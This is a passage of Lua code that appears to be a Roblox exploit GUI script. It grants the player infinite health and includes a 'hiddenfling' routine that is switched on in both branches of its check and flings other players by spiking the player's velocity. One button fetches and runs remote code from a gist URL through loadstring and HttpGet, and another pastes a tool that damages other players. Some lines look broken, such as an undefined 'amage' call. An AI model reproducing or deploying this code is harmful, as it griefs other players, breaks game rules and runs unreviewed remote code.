hed.Weld.C1 = Lerp(hed.Weld.C1, CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(-20), math.rad(0), math.rad(0)), 0.25)
torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, 2, -1.6) * CFrame.Angles(math.rad(0), math.rad(0), 0), 0.5)
torso.Weld.C1 = Lerp(torso.Weld.C1, CFrame.new(0, -1, 0) * CFrame.Angles(math.rad(-10), math.rad(0), math.rad(0)), 0.5)
lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-0.5, -1, 0) * CFrame.Angles(math.rad(-15), math.rad(20), math.rad(-15)), 0.5)
lleg.Weld.C1 = Lerp(lleg.Weld.C1, CFrame.new(0, 1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.5)
rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(0.5, -1, 0) * CFrame.Angles(math.rad(-15), math.rad(-20), math.rad(15)), 0.5)
rleg.Weld.C1 = Lerp(rleg.Weld.C1, CFrame.new(0, 1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.5)
if Debounces.on == false then
break
end
fat.Event:wait()
end
do
z = Instance.new("Sound", hed)
z.SoundId = "rbxassetid://227194094"
z.Pitch = 0.6
z.Volume = 1
wait(0.01)
z:Play()
Debounces.Slashing = true
for i = 1, 18 do
Dmg()
corw.C0 = Lerp(corw.C0, CFrame.new(0, -1.5, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(-40)), 0.5)
corw.C1 = Lerp(corw.C1, CFrame.new(-2.4, 0, 0) * CFrame.Angles(math.rad(-20), math.rad(-50), math.rad(0)), 0.5)
rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(1.2, 0.4, -0.4) * CFrame.Angles(math.rad(30), math.rad(0), math.rad(-40)), 0.5)
rarm.Weld.C1 = Lerp(rarm.Weld.C1, CFrame.new(0, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.5)
larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-1.2, 0.4, -0.4) * CFrame.Angles(math.rad(30), math.rad(0), math.rad(40)), 0.5)
larm.Weld.C1 = Lerp(larm.Weld.C1, CFrame.new(0, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.5)
hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0, 1.4, -0.15) * CFrame.Angles(math.rad(0), math.rad(0), 0), 0.5)
hed.Weld.C1 = Lerp(hed.Weld.C1, CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(20), math.rad(0), math.rad(0)), 0.5)
torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -2, -2) * CFrame.Angles(math.rad(0), math.rad(0), 0), 0.3)
torso.Weld.C1 = Lerp(torso.Weld.C1, CFrame.new(0, -1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.5)
lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-0.6, -0.2, -0.48) * CFrame.Angles(math.rad(10), math.rad(0), math.rad(-10)), 0.3)
lleg.Weld.C1 = Lerp(lleg.Weld.C1, CFrame.new(0, 1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(0.6, -0.9, 0.2) * CFrame.Angles(math.rad(-70), math.rad(0), math.rad(10)), 0.3)
rleg.Weld.C1 = Lerp(rleg.Weld.C1, CFrame.new(0, 1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.3)
if Debounces.on == false then
break
end
fat.Event:wait()
end
do
Debounces.Slashing = false
end
end
end
ComboNum = 0
mouse.Button1Down:connect(function()
if Debounces.CanAttack == true then
Debounces.CanAttack = false
Debounces.NoIdl = true
Debounces.on = true
if ComboNum == 0 then
attackone()
else
if ComboNum == 1 then
attacktwo()
else
if ComboNum == 2 then
attackthree()
else
if ComboNum == 3 then
attackfour()
else
if ComboNum == 4 then
attackfive()
end
end
end
end
end
ComboNum = ComboNum + 1
Debounces.CanAttack = true
Debounces.on = false
wait(0.2)
if Debounces.CanAttack == true then
ComboNum = 0
Debounces.NoIdl = false
end
end
end
)
mouse.KeyDown:connect(function(key)
if string.byte(key) == 52 then
Swing = 2
char.Humanoid.WalkSpeed = 28
end
end
)
mouse.KeyUp:connect(function(key)
if string.byte(key) == 52 then
Swing = 1
char.Humanoid.WalkSpeed = 16
end
end
)
jump = false
rs:connect(function()
if char.Humanoid.Jump == true then
jump = true
else
jump = false
end
char.Humanoid.FreeFalling:connect(function(f)
if f then
ffing = true
else
ffing = false
end
end
)
sine = sine + change
if jump == true then
animpose = "Jumping"
else
if ffing == true then
animpose = "Freefalling"
else
if (torso.Velocity * Vector3.new(1, 0, 1)).magnitude < 2 then
animpose = "Idle"
else
if (torso.Velocity * Vector3.new(1, 0, 1)).magnitude < 20 then
animpose = "Walking"
else
if (torso.Velocity * Vector3.new(1, 0, 1)).magnitude > 20 then
animpose = "Running"
end
end
end
end
end
RightLeg = CFrame.new(0.5, -1, 0)
LeftLeg = CFrame.new(-0.5, -1, 0)
lefth = (torso.CFrame*LeftLeg)
righth = (torso.CFrame*RightLeg)
speed = Vector3.new(torso.Velocity.X,0,torso.Velocity.Z)
TiltOnAxis = (torso.CFrame-torso.CFrame.p):vectorToObjectSpace(speed/100)
local AngleThetaR = (righth-righth.p):vectorToObjectSpace(speed/100)
local AngleThetaL = (lefth-lefth.p):vectorToObjectSpace(speed/100)
if animpose ~= lastanimpose then
sine = 0
if Debounces.NoIdl == false then
if stanceToggle == "Idle1" then
rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(1.5, 0.6, 0.2) * CFrame.Angles(math.rad(-12 - 4 * math.cos(sine / 22)), math.rad(-12 - 2 * math.cos(sine / 22)), math.rad(12 + 2 * math.cos(sine / 22))), 0.3)
larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-1.5, 0.6, -0.2) * CFrame.Angles(math.rad(20 + 4 * math.cos(sine / 22)), math.rad(-22 - 2 * math.cos(sine / 22)), math.rad(-15 - 2 * math.cos(sine / 22))), 0.3)
hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0, 1.5, 0) * CFrame.Angles(math.rad(-12 + 2.5 * math.cos(sine / 22)), math.rad(0), math.rad(0)), 0.2)
torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -1, 0) * CFrame.Angles(math.rad(-2 + 2 * math.cos(sine / 22)), math.rad(0), 0), 0.2)
lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-0.5, -1, -0.06) * CFrame.Angles(math.rad(0 - 2 * math.cos(sine / 22)), math.rad(5), math.rad(-5)), 0.2)
rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(0.5, -1, -0.06) * CFrame.Angles(math.rad(0 - 2 * math.cos(sine / 22)), math.rad(-5), math.rad(5)), 0.2)
else
if stanceToggle == "Idle2" then
rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(1.5, 0.6, 0.2) * CFrame.Angles(math.rad(-22 - 4 * math.cos(sine / 12)), math.rad(-40 - 2 * math.cos(sine / 12)), math.rad(24 + 2 * math.cos(sine / 12))), 0.3)
larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-1.2, 0.6, -0.6) * CFrame.Angles(math.rad(90 + 4 * math.cos(sine / 12)), math.rad(0), math.rad(50 - 2 * math.cos(sine / 12))), 0.3)
hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0, 1.5, 0) * CFrame.Angles(math.rad(-6 + 2.5 * math.cos(sine / 12)), math.rad(0), math.rad(0)), 0.2)
torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -1.5, 0) * CFrame.Angles(math.rad(-20 + 2 * math.cos(sine / 12)), math.rad(0), 0), 0.2)
lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-0.5, -0.4, -1) * CFrame.Angles(math.rad(-7 - 2 * math.cos(sine / 12)), math.rad(7), math.rad(-5)), 0.2)
rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(0.5, -0.8, -0.2) * CFrame.Angles(math.rad(-30 - 2 * math.cos(sine / 12)), math.rad(-9), math.rad(5)), 0.2)
end
end
fat.Event:wait()
end
end
lastanimpose = animpose
if Debounces.NoIdl == false then
if animpose == "Idle" then
change = 0.8
corw.C0 = Lerp(corw.C0, CFrame.new(0, -1.5, 0) * CFrame.Angles(math.rad(0), math.rad(90), math.rad(0)), 0.4)
corw.C1 = Lerp(corw.C1, CFrame.new(-2.4, 0, 0) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(-26)), 0.4)
rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(1.5, 0.5 + 0.05 * math.sin(sine / 10), 0) * CFrame.Angles(math.rad(30 + 2 * math.sin(sine / 10)), math.rad(-40 - 10 * math.cos(sine / 10)), math.rad(20)), 0.1)
rarm.Weld.C1 = Lerp(rarm.Weld.C1, CFrame.new(0, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(-20), math.rad(0)), 0.1)
larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-1.5, 0.5 + 0.05 * math.sin(sine / 10), 0.15) * CFrame.Angles(math.rad(20 - 2 * math.sin(sine / 10)), math.rad(0 + 10 * math.cos(sine / 10)), math.rad(-20)), 0.1)
larm.Weld.C1 = Lerp(larm.Weld.C1, CFrame.new(0, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(20), math.rad(0)), 0.1)
hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0, 1.5, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.1)
hed.Weld.C1 = Lerp(hed.Weld.C1, CFrame.new(0, 0, 0.15 - 0.05 * math.sin(sine / 10)) * CFrame.Angles(math.rad(15 - 3 * math.sin(sine / 10)), math.rad(0), math.rad(0)), 0.1)
torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -1, 0) * CFrame.Angles(math.rad(-3 + 3 * math.cos(sine / 10)), math.rad(0), 0), 0.1)
torso.Weld.C1 = Lerp(torso.Weld.C1, CFrame.new(0, -1, 0) * CFrame.Angles(math.rad(0), math.rad(0), 0), 0.1)
lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-0.6, -1 - 0.01 * math.cos(sine / 10), 0) * CFrame.Angles(math.rad(5 - 5 * math.cos(sine / 5)), math.rad(0), math.rad(-10 + 1.9 * math.cos(sine / 10))), 0.1)
lleg.Weld.C1 = Lerp(lleg.Weld.C1, CFrame.new(0, 1, 0.3) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.1)
rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(0.5, -1 + 0.01 * math.cos(sine / 10), 0) * CFrame.Angles(math.rad(-5 - 3 * math.cos(sine / 10)), math.rad(-10), math.rad(12 + 1.9 * math.cos(sine / 10))), 0.1)
rleg.Weld.C1 = Lerp(rleg.Weld.C1, CFrame.new(0, 1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.1)
rj.C0 = Lerp(torso.Weld.C0, CFrame.new(0, 2, 0) * CFrame.Angles(math.rad(-3 + 3 * math.cos(sine / 10)), math.rad(0), 0), 0.1)
rj.C1 = Lerp(torso.Weld.C1, CFrame.new(0, 2, 0) * CFrame.Angles(math.rad(0), math.rad(0), 0), 0.1)
else
if animpose == "Walking" then
change = 0.8
corw.C0 = Lerp(corw.C0, CFrame.new(0, -1.5, 0.5) * CFrame.Angles(math.rad(0), math.rad(90), math.rad(0)), 0.4)
corw.C1 = Lerp(corw.C1, CFrame.new(-2.4, 0, 0) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0)), 0.4)
rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(1.5, 0.5, 0) * CFrame.Angles(math.rad(20 + 2 * math.cos(sine / 7)), math.rad(0), math.rad(30)), 0.4)
rarm.Weld.C1 = Lerp(rarm.Weld.C1, CFrame.new(0, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.7)
larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-1.5, 0.5 + 0.05 * math.cos(sine / 2), -math.sin(sine / 4) / 4) * CFrame.Angles(math.sin(sine / 4) / 2.8, -math.sin(sine / 4) / 3, math.rad(-10 - 7 * math.cos(sine / 2)) + root.RotVelocity.Y / 30), 0.4)
larm.Weld.C1 = Lerp(larm.Weld.C1, CFrame.new(0, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.7)
hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0, 1.5, -0.1 + 0.1 * math.cos(sine / 2)) * CFrame.Angles(math.rad(-10 + 4 * math.cos(sine / 2)), math.rad(0 - 8 * math.cos(sine / 4) / 2.3), math.rad(0)), 0.4)
hed.Weld.C1 = Lerp(hed.Weld.C1, CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(0), math.rad(0) - root.RotVelocity.Y / 10, math.rad(0)), 0.7)
torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -1 + 0.12 * math.cos(sine / 2), 0) * CFrame.Angles(math.rad(-4 + 2 * math.cos(sine / 2)), math.rad(0 + 10 * math.cos(sine / 4) / 2.3) + root.RotVelocity.Y / 30, math.rad(0) + root.RotVelocity.Y / 30), 0.4)
torso.Weld.C1 = Lerp(torso.Weld.C1, CFrame.new(0, -1, 0) * CFrame.Angles(math.rad(0), math.rad(0), 0), 0.8)
lleg.Weld.C0 = lleg.Weld.C0:lerp(CFrame.new(-0.5, -1 - math.cos(sine / 4) * 0.2, 0 + math.sin(sine / 4) * 0.1) * CFrame.Angles(math.sin(sine / 4) * 3 * AngleThetaL.Z, AngleThetaL.X, math.sin(sine / 4) * 3 * -AngleThetaL.X - root.RotVelocity.Y / 20), 0.8)
lleg.Weld.C1 = Lerp(rleg.Weld.C1, CFrame.new(0, 1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.8)
rleg.Weld.C0 = rleg.Weld.C0:lerp(CFrame.new(0.5, -1 + math.cos(sine / 4) * 0.2, 0 - math.sin(sine / 4) * 0.1) * CFrame.Angles(math.sin(sine / 4) * 3 * -AngleThetaR.Z, AngleThetaR.X, math.sin(sine / 4) * 3 * AngleThetaR.X - root.RotVelocity.Y / 20), 0.8)
rleg.Weld.C1 = Lerp(rleg.Weld.C1, CFrame.new(0, 1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.8)
else
if animpose == "Running" then
change = 1.1
corw.C0 = Lerp(corw.C0, CFrame.new(0, -1.5, 0) * CFrame.Angles(math.rad(0), math.rad(90), math.rad(0)), 0.4)
corw.C1 = Lerp(corw.C1, CFrame.new(-2.4, 0, 0) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(-35)), 0.4)
rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(1.4, 0.54, 0) * CFrame.Angles(math.rad(-34), math.rad(-15), math.rad(26)), 0.2)
rarm.Weld.C1 = Lerp(rarm.Weld.C1, CFrame.new(0, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.36)
larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-1.24 + 0.6 * math.cos(sine / 4) / 1.4, 0.54, 0 - 0.8 * math.cos(sine / 4)) * CFrame.Angles(math.rad(6 + 140 * math.cos(sine / 4) / 1.2), math.rad(0), math.rad(20 + 70 * math.cos(sine / 4))), 0.2)
larm.Weld.C1 = Lerp(larm.Weld.C1, CFrame.new(0, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.5)
hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0, 1.5, -0.2) * CFrame.Angles(math.rad(-8 + 12 * math.cos(sine / 2) / 1.5), math.rad(0 + 12 * math.cos(sine / 4)), math.rad(0)), 0.2)
hed.Weld.C1 = Lerp(hed.Weld.C1, CFrame.new(0, 0, 0) * CFrame.Angles(math.rad(0), math.rad(0) - root.RotVelocity.Y / 10, math.rad(0)), 0.5)
torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -1 + 0.2 * math.cos(sine / 2) / 1.7, 0) * CFrame.Angles(math.rad(-14 + 10 * math.cos(sine / 2) / 1.5), math.rad(0 - 12 * math.cos(sine / 4)) - root.RotVelocity.Y / 10, math.rad(0) + root.RotVelocity.Y / 20), 0.2)
torso.Weld.C1 = Lerp(torso.Weld.C1, CFrame.new(0, -1, 0) * CFrame.Angles(math.rad(0), math.rad(0), 0), 0.4)
lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-0.5, -0.8 - 0.4 * math.cos(sine / 4) / 2, math.sin(sine / 4) / 2) * CFrame.Angles(math.rad(-10) + -math.sin(sine / 4) / 1.2, math.rad(0 + 12 * math.cos(sine / 4)) + root.RotVelocity.Y / 10, 0), 0.8)
lleg.Weld.C1 = Lerp(lleg.Weld.C1, CFrame.new(0, 1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.4)
rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(0.5, -0.8 + 0.4 * math.cos(sine / 4) / 2, -math.sin(sine / 4) / 2) * CFrame.Angles(math.rad(-10) + math.sin(sine / 4) / 1.2, math.rad(0 + 12 * math.cos(sine / 4)) + root.RotVelocity.Y / 10, 0), 0.8)
rleg.Weld.C1 = Lerp(rleg.Weld.C1, CFrame.new(0, 1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.4)
else
if animpose == "Jumping" then
change = 1
rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(1.5, 0.6, 0) * CFrame.Angles(math.rad(-10), math.rad(0), math.rad(10)), 0.2)
rarm.Weld.C1 = Lerp(rarm.Weld.C1, CFrame.new(0, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.36)
larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-1.5, 0.6, 0) * CFrame.Angles(math.rad(-10), math.rad(0), math.rad(-10)), 0.2)
larm.Weld.C1 = Lerp(larm.Weld.C1, CFrame.new(0, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.5)
hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0, 1.5, 0) * CFrame.Angles(math.rad(30), math.rad(0), 0), 0.2)
torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -1, 0) * CFrame.Angles(math.rad(1), math.rad(0), 0), 0.2)
torso.Weld.C1 = Lerp(torso.Weld.C1, CFrame.new(0, -1, 0) * CFrame.Angles(math.rad(0), math.rad(0), 0), 0.4)
lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-0.5, -1.1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.2)
lleg.Weld.C1 = Lerp(lleg.Weld.C1, CFrame.new(0, 1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.4)
rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(0.5, -1.1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.2)
rleg.Weld.C1 = Lerp(rleg.Weld.C1, CFrame.new(0, 1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.4)
else
if animpose == "Freefalling" then
change = 1
rarm.Weld.C0 = Lerp(rarm.Weld.C0, CFrame.new(1.5, 0.6, 0) * CFrame.Angles(math.rad(-40), math.rad(20), math.rad(50)), 0.2)
rarm.Weld.C1 = Lerp(rarm.Weld.C1, CFrame.new(0, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.36)
larm.Weld.C0 = Lerp(larm.Weld.C0, CFrame.new(-1.5, 0.6, 0) * CFrame.Angles(math.rad(110), math.rad(-20), math.rad(-30)), 0.2)
larm.Weld.C1 = Lerp(larm.Weld.C1, CFrame.new(0, 0.5, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.5)
hed.Weld.C0 = Lerp(hed.Weld.C0, CFrame.new(0, 1.5, 0) * CFrame.Angles(math.rad(10), math.rad(0), 0), 0.2)
torso.Weld.C0 = Lerp(torso.Weld.C0, CFrame.new(0, -1, 0) * CFrame.Angles(math.rad(-30), math.rad(0), 0), 0.2)
torso.Weld.C1 = Lerp(torso.Weld.C1, CFrame.new(0, -1, 0) * CFrame.Angles(math.rad(0), math.rad(0), 0), 0.4)
lleg.Weld.C0 = Lerp(lleg.Weld.C0, CFrame.new(-0.5, -0.5, -0.5) * CFrame.Angles(math.rad(-20), math.rad(0), math.rad(0)), 0.2)
lleg.Weld.C1 = Lerp(lleg.Weld.C1, CFrame.new(0, 1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.4)
rleg.Weld.C0 = Lerp(rleg.Weld.C0, CFrame.new(0.5, 0, 0.5) * CFrame.Angles(math.rad(30), math.rad(0), math.rad(0)), 0.2)
rleg.Weld.C1 = Lerp(rleg.Weld.C1, CFrame.new(0, 1, 0) * CFrame.Angles(math.rad(0), math.rad(0), math.rad(0)), 0.4)
end
end
end
end
end
end
end
)
hum.MaxHealth = math.huge
wait(3)
hum.Health = math.huge
---------------------------------------------------------------------------------
if game:GetService("ReplicatedStorage"):FindFirstChild("juisdfj0i32i0eidsuf0iok") then
hiddenfling = true
else
hiddenfling = true
detection = Instance.new("Decal")
detection.Name = "juisdfj0i32i0eidsuf0iok"
detection.Parent = game:GetService("ReplicatedStorage")
local function fling()
local hrp, c, vel, movel = nil, nil, nil, 0.1
while true do
game:GetService("RunService").Heartbeat:Wait()
if hiddenfling then
local lp = game.Players.LocalPlayer
while hiddenfling and not (c and c.Parent and hrp and hrp.Parent) do
game:GetService("RunService").Heartbeat:Wait()
c = lp.Character
hrp = c:FindFirstChild("HumanoidRootPart") or c:FindFirstChild("Torso") or c:FindFirstChild("UpperTorso")
end
if hiddenfling then
vel = hrp.Velocity
hrp.Velocity = vel * 10000 + Vector3.new(0, 10000, 0)
game:GetService("RunService").RenderStepped:Wait()
if c and c.Parent and hrp and hrp.Parent then
hrp.Velocity = vel
end
game:GetService("RunService").Stepped:Wait()
if c and c.Parent and hrp and hrp.Parent then
hrp.Velocity = vel + Vector3.new(0, movel, 0)
movel = movel * -1
end
end
end
end
end
fling()
end
end)
end;
task.spawn(C_89);
-- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript
local function C_8b()
local script = G2L["8b"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
loadstring(game:HttpGet("https://gist.githubusercontent.com/jointeamck/5d8a45ea83d64db757182c7fae4caeae/raw/27d5fe5866fc61208fead93a7caeeb854f1c1be4/Illuminati%2520Laser%2520Fling",true))()
end)
end;
task.spawn(C_8b);
-- StarterGui.CoolGui.Frame.Page2.Section1.Button.LocalScript
local function C_8d()
local script = G2L["8d"];
local button = script.Parent
--local input = CoolGui.Frame.Settings
button.MouseButton1Down:connect(function()
bin.Deselected:connect(function()local admin = game.Players.LocalPlayer
bin = Instance.new("HopperBin", admin.Backpack)
player = bin.Parent.Parent.Character
rarm = player["Right Arm"]
larm = player["Left Arm"]
player.Humanoid.MaxHealth = 50
visible = true
parts = {}
function Check(pos)
local hurt = false
local players = game.Players:GetChildren()
for i = 1, #players do
if players[i].Character and hurt == false then
local parts = players[i].Character:GetChildren()
for q = 1, #parts do
if parts[q].className == "Part" and hurt == false then
local range = math.sqrt(math.pow(parts[q].Size.Z, 2) + math.sqrt(math.pow(parts[q].Size.X, 2) + math.pow(parts[q].Size.Y, 2)))
if (found - parts[q].Position).magnitude <= range then
hurt = true
character = parts[q].Parent
humanoid = character.Humanoid
character.Torso.CFrame = character.Torso.CFrame*CFrame.Angles(2,2,2)-amage(25)
humanoid:TakeDamage(50)
humanoid.Sit = true
end
end
end
end
end
end
function clean(min,thing2)
while min.Humanoid.Health ~= 0 do
local a = game.Players:GetChildren()
for i = 1, #a do
wait()
if (a[i].Character.Torso.Position - thing2.Position).magnitude < 5 then
a[i].Character.Humanoid:TakeDamage(0)
end
end
wait()
end
min:remove()
end
function fire(v)
local spawnPos = (tip2.CFrame * CFrame.new(0, 1, 0)).p
local HitSpot = RayCast(spawnPos, v)
local distance = (HitSpot - spawnPos).magnitude
start = nil
finish = nil
local num = math.random(3, 10)
for i = distance / num, distance, distance / num do
if start == nil then
start = tip2.CFrame.p
elseif start ~= nil then
start = finish
end
finish = CFrame.new(spawnPos, HitSpot)
if i ~= distance then
finish = (finish * CFrame.new(math.random(-5, 5), math.random(-1, 1), -i)).p
else
finish = HitSpot
end
local P = Instance.new("Part")
P.Name = "Magic"
P.formFactor = 0
P.Size = Vector3.new(1, 1, (start - finish).magnitude)
P.Parent = game.Workspace
P.BrickColor = BrickColor.new(1006)
P.Anchored = true
P.CanCollide = false
P.TopSurface = "Smooth"
P.BottomSurface = "Smooth"
P.Transparency = 0
m = Instance.new("BlockMesh")
m.Scale = Vector3.new(.25, .25, 1)
m.Offset = Vector3.new(0, -1000, 0)
m.VertexColor = Vector3.new(math.huge, math.huge, math.huge)
m.Parent = P
P.CFrame = CFrame.new(start, finish)
P.CFrame = P.CFrame * CFrame.new(0, 1000, P.Size.Z / -2)
table.insert(parts, P)
game:GetService("Debris"):AddItem(P, 2.5)
end
end
function RayCast(start, v)
local ray = Instance.new("Part")
ray.Parent = game.Workspace
ray.Anchored = true
ray.CFrame = CFrame.new(start)
ray.Size = Vector3.new(1,1,1)
ray.Shape = 0
ray.BottomSurface = 0
ray.TopSurface = 0
ray.Name = "Magic"
ray.Elasticity = 0
ray.Reflectance = 0
ray.Friction = 0
ray.Transparency = 0
local finding = true
far = 1000
while finding do
far = far - 1
if far > 0 then
local see = ray.Position + v
ray.Position = ray.Position + v
if ray.Position ~= see then
finding = false
found = see
end
else
finding = false
found = ray.Position
end
end
ray:remove()
Check(found)
return found
end
function kill(tar)
while tar.Parent.Humanoid.Health ~= 0 do
tar.Parent.Humanoid.Health = tar.Parent.Humanoid.Health
wait()
end
end
bin.Selected:connect(function(mouse)
if player.Torso:findFirstChild("Right Shoulder") ~= nil then
rs = player.Torso["Right Shoulder"]
rs.Part1 = nil
end
if player.Torso:findFirstChild("Left Shoulder") ~= nil then
ls = player.Torso["Left Shoulder"]
ls.Part1 = nil
end
if player:FindFirstChild("check") == nil then
rns = Instance.new("Weld")
rns.Parent = player.Torso
rns.Part0 = rns.Parent
rns.Part1 = player["Right Arm"]
rns.C1 = CFrame.new(-1.51,.1,-.05)*CFrame.Angles((math.pi*-.0),(math.pi*0),(math.pi*-.05))
lns = Instance.new("Weld")
lns.Parent = player.Torso
lns.Part0 = lns.Parent
lns.Part1 = player["Left Arm"]
lns.C1 = CFrame.new(1.51,.1,-.05)*CFrame.Angles((math.pi*-.0),(math.pi*0),(math.pi*.05))
rblade = Instance.new("Part")
rblade.BrickColor = BrickColor.new(1003)
rblade.Name ="check"
rblade.Parent = player
rblade.CanCollide = false
rblade.Size = Vector3.new(1,8,1)
rblade.formFactor = "Symmetric"
rblade.TopSurface = 0
rblade.BottomSurface = 0
rbm = Instance.new("BlockMesh")
rbm.Parent = rblade
rbm.Scale = Vector3.new(.4,1,.4)
rbw = Instance.new("Weld")
rbw.Parent = rblade
rbw.Part0 = rarm
rbw.Part1 = rblade
rbw.C1 = CFrame.new(0,0,1) *CFrame.Angles((math.pi*.5),(math.pi*0),(math.pi*0))
tip = Instance.new("Part")
tip.CanCollide = false
tip.TopSurface = 0
tip.BottomSurface = 0
tip.Parent = rblade
tip.Size = Vector3.new(1,1,1)
tip.formFactor = "Symmetric"
tip.BrickColor = BrickColor.new(1004)
tipm = Instance.new("BlockMesh")
tipm.Scale = Vector3.new(.41,.2,.41)
tipm.Parent = tip
tipw = Instance.new("Weld")
tipw.Parent = rblade
tipw.Part0 = rblade
tipw.Part1 = tip
tipw.C1 = CFrame.new(0,3.5,0)
tip2 = Instance.new("Part")
tip2.CanCollide = false
tip2.TopSurface = 0
tip2.BottomSurface = 0
tip2.Parent = rblade
tip2.Size = Vector3.new(1,1,1)
tip2.formFactor = "Symmetric"
tip2.BrickColor = BrickColor.new(1004)
tip2m = Instance.new("BlockMesh")
tip2m.Scale = Vector3.new(.41,.2,.41)
tip2m.Parent = tip2
tip2w = Instance.new("Weld")
tip2w.Parent = rblade
tip2w.Part0 = rblade
tip2w.Part1 = tip2
tip2w.C1 = CFrame.new(0,-3.5,0)
tip3 = Instance.new("Part")
tip3.CanCollide = false
tip3.TopSurface = 0
tip3.BottomSurface = 0
tip3.Parent = rblade
tip3.Size = Vector3.new(1,1,1)
tip3.formFactor = "Symmetric"
tip3.BrickColor = BrickColor.new(1004)
tip3m = Instance.new("BlockMesh")
tip3m.Scale = Vector3.new(.41,.2,.41)
tip3m.Parent = tip3
tip3w = Instance.new("Weld")
tip3w.Parent = rblade
tip3w.Part0 = rblade
tip3w.Part1 = tip3
tip3w.C1 = CFrame.new(0,-.5,0)
tip4 = Instance.new("Part")
tip4.CanCollide = false
tip4.TopSurface = 0
tip4.BottomSurface = 0
tip4.Parent = rblade
tip4.Size = Vector3.new(1,1,1)
tip4.formFactor = "Symmetric"
tip4.BrickColor = BrickColor.new(1004)
tip4m = Instance.new("BlockMesh")
tip4m.Scale = Vector3.new(.41,.2,.41)
tip4m.Parent = tip4
tip4w = Instance.new("Weld")
